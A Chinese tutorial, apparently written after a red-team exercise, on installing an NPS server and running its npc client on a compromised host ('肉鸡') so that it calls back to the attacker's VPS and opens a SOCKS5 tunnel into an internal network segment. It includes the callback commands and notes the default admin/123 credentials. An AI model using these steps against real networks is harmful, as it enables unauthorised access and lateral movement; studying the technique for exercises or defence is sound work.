攻防演练有看到大哥用这个做代理,今天学习一下

一、安装



https://github.com/ehang-io/nps/releases  (下载Linux版本的先试试)


内网穿透-使用NPS搭建socks5隧道_github

 

 上传至服务器,新建一个nps的文件夹,然后解压:



mkdir nps
tar -xzvf linux_amd64_server.tar.gz -C ./nps


内网穿透-使用NPS搭建socks5隧道_linux_02

 

 然后输入命令启动,启动后即可访问如下登录管理页面,默认账号密码为:admin/123  (记得快速修改初始密码)



./nps start


内网穿透-使用NPS搭建socks5隧道_github_03

 

在/etc/nps/conf/文件内可以查看到默认的账号密码,修改之,然后再重启一下nps

 



nps restart


 

内网穿透-使用NPS搭建socks5隧道_web页面_04

 

在压缩包下也是有个一样的配置文件的,千万别改错了!要改的一定是/etc/nps/

内网穿透-使用NPS搭建socks5隧道_github_05

 

 内网穿透-使用NPS搭建socks5隧道_压缩包_06

 

 然后登录就可以看到页面了:

内网穿透-使用NPS搭建socks5隧道_web页面_07

这样就安装好了。

 

二、使用

登录nps

内网穿透-使用NPS搭建socks5隧道_github_08

 

然后点击新增客户端,到下面的截图:(自行设置账号密码,这个将会作为你的隧道的密码进行使用)

内网穿透-使用NPS搭建socks5隧道_web页面_09

 

填写好就可以新增了!记住下面这个密钥

内网穿透-使用NPS搭建socks5隧道_客户端_10

 

 这些都有了,那应该直接接下来怎么做了吧,同样的,在肉鸡运行nps的命令,然后就能做代理了,我们试试吧!

 

(1)以下时Windows客户端的,下载对应的版本然后输入下述命令:



npc.exe -server=你的vps:8024 -vkey=客户端的密钥


 

(2)以下时Linux客户端的,下载对应的版本然后输入下述命令:



./npc -server=你的vps:8024 -vkey=客户端的密钥


 

到这一步时,你已经成功了一半,因为在肉鸡上运行以上命令将会成功建立好隧道:

肉鸡运行:



npc.exe -server=192.168.43.234:8024 -vkey=客户端的密钥


内网穿透-使用NPS搭建socks5隧道_客户端_11

 

web页面会出现上线的提示:

内网穿透-使用NPS搭建socks5隧道_压缩包_12

 

最后:在上线的主机的隧道处点击,并添加响应的隧道,就可以建立与其他网段的通信了:

内网穿透-使用NPS搭建socks5隧道_github_13

 内网穿透-使用NPS搭建socks5隧道_web页面_14

 

然后测试一下连接:

内网穿透-使用NPS搭建socks5隧道_linux_15

 

最后就能成功访问第二层网络(192.168.127.x网段)了:

内网穿透-使用NPS搭建socks5隧道_linux_16

 

内网穿透-使用NPS搭建socks5隧道_客户端_17

以上,简单的使用nps建立隧道的任务就完成了!其余使用教程请参考:https://ehang-io.github.io/nps/#/use